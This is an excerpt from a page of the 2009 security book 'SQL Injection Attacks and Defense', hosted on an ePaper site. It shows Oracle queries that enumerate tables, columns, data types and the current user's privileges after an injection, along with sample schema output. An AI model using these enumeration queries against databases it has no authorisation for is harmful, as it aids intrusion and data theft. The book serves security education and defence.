28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Exploiting <strong>SQL</strong> <strong>Injection</strong> • Chapter 4 181<br />

And you can enumerate the same information for all accessible/available tables, including<br />

their users, table names, <strong>and</strong> the number of rows in these tables as follows:<br />

select b.owner||'.'||a.table_name||'['||count(*)||']='||num_rows from<br />

all_tab_columns a, all_tables b where a.table_name=b.table_name group by<br />

b.owner,a.table_name,num_rows<br />

Finally, you can enumerate the columns <strong>and</strong> data types in each table as follows, allowing<br />

you to get a more complete picture of the database schema:<br />

select table_name||':'||column_name||':'||data_type||':'||column_id from<br />

user_tab_columns order by table_name,column_id<br />

DEPT:DEPTNO:NUMBER:1<br />

DEPT:DNAME:VARCHAR2:2<br />

DEPT:LOC:VARCHAR2:3<br />

DUMMY:DUMMY:NUMBER:1<br />

EMP:EMPNO:NUMBER:1<br />

EMP:ENAME:VARCHAR2:2<br />

EMP:JOB:VARCHAR2:3<br />

EMP:MGR:NUMBER:4<br />

EMP:HIREDATE:DATE:5<br />

EMP:SAL:NUMBER:6<br />

EMP:COMM:NUMBER:7<br />

EMP:DEPTNO:NUMBER:8<br />

SALGRADE:GRADE:NUMBER:1<br />

SALGRADE:LOSAL:NUMBER:2<br />

SALGRADE:HISAL:NUMBER:3<br />

Another thing you may be interested in is obtaining the privileges of the current<br />

database user, which you can do as an unprivileged user. The following queries return the<br />

privileges of the current user. In Oracle, there are four different kinds of privileges<br />

(SYSTEM, ROLE, TABLE, <strong>and</strong> COLUMN).<br />

To get system privileges for the current user:<br />

select * from user_sys_privs; --show system privileges of the current user<br />

To get role privileges for the current user:<br />

select * from user_role_privs; --show role privileges of the current user<br />

To get table privileges for the current user:<br />

select * from user_tab_privs;<br />

To get column privileges for the current user:<br />

select * from user_col_privs;

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!